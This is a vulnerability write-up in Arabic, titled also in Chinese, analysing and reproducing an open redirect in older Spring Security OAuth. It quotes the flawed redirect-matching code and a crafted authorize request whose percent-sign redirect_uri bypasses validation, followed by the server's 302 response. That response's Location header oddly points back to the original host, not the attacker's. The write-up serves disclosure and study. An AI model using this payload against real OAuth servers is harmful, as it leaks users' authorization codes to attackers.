
Spring Security OAuth 2.3 Open Redirection تحليل وإعادة إنتاج
Spring Security OAuth 2.3 Open Redirection 分析复现篇
إصدارات Spring Security OAuth 2.3 قبل 2.3.6، و2.2 قبل 2.2.5، و2.1 قبل 2.1.5، و2.0 قبل 2.0.18، بالإضافة إلى الإصدارات القديمة غير المدعومة، قد تكون عرضة لهجوم إعادة التوجيه المفتوح الذي يمكن أن يسرب رمز التفويض. يمكن لمستخدم ضار أو مهاجم صياغة طلب إلى نقطة نهاية التفويض باستخدام نوع منح رمز التفويض، وتحديد URI إعادة توجيه تم التلاعب به عبر المعامل redirect_uri. يمكن أن يؤدي ذلك إلى إعادة توجيه خادم التفويض لعامل المستخدم المالك للمورد إلى URI تحت سيطرة المهاجم مع رمز التفويض المسرب.
من خلال التلاعب بالمعامل REDIRECT_URI، يمكن للمهاجم تجاوز التحقق فعليًا.
الكود المسبب للثغرة موجود تحت الحزمة org.springframework.security.oauth2.provider.endpoint الفئة: DefaultRedirectResolver، والتي لا تقوم طريقة obtainMatchingRedirect بالتنظيف المناسب
/** * محاولة مطابقة أحد URIs المسجلة مع URI المطلوب. * * @param redirectUris مجموعة URIs المسجلة لمحاولة إيجاد تطابق. لا يمكن أن تكون فارغة أو null. * @param requestedRedirect URI المستخدم كجزء من الطلب * @return URI المتطابق * @throws RedirectMismatchException إذا لم يتم العثور على تطابق */ private String obtainMatchingRedirect(Set redirectUris, String requestedRedirect) { Assert.notEmpty(redirectUris, "Redirect URIs cannot be empty");
if (redirectUris.size() == 1 && requestedRedirect == null) {
return redirectUris.iterator().next();
}
for (String redirectUri : redirectUris) {
if (requestedRedirect != null && redirectMatches(requestedRedirect, redirectUri)) {
return requestedRedirect;
}
}
throw new RedirectMismatchException("Invalid redirect: " + requestedRedirect
+ " does not match one of the registered values: " + redirectUris.toString());
}
الطلب التالي الذي يقوم به تطبيق العميل بعد تسجيل دخول المستخدم، يحتوي على المعامل REDIRECT_URI. يتم تجاوز التحقق ببساطة عن طريق إضافة علامة النسبة المئوية التي تؤدي إلى إعادة توجيه بدلاً من خطأ RedirectMismatchException
الطلب الأصلي الذي يحتوي على URI صالح: GET /auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://localhost:8086/login/oauth2/code/ HTTP/1.1
ثم يخدع المهاجم التطبيق بتغيير URI بالكامل إلى خادم آخر مع إضافة علامة النسبة المئوية على سبيل المثال:
GET /auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://%localhost:9000/login/oauth2/code/ HTTP/1.1 Host: localhost:8085 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost:8085/auth/login Connection: close Cookie: JSESSIONID=3394FD89204BE407CB585881755C0828; JSESSIONID=C0F1D5A2F1944DCB43F2BFFA416B7A63 Upgrade-Insecure-Requests: 1
الاستجابة بالفعل لا تنتج خطأ OAUTH متوقعًا ولكنها تعيد توجيه المستخدم:
HTTP/1.1 302 Cache-Control: no-store X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-Frame-Options: DENY Location: http://localhost:8086/login/oauth2/code/?code=4ecsea&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D Content-Language: en-US Content-Length: 0 Date: Mon, 17 Jun 2019 11:06:18 GMT Connection: close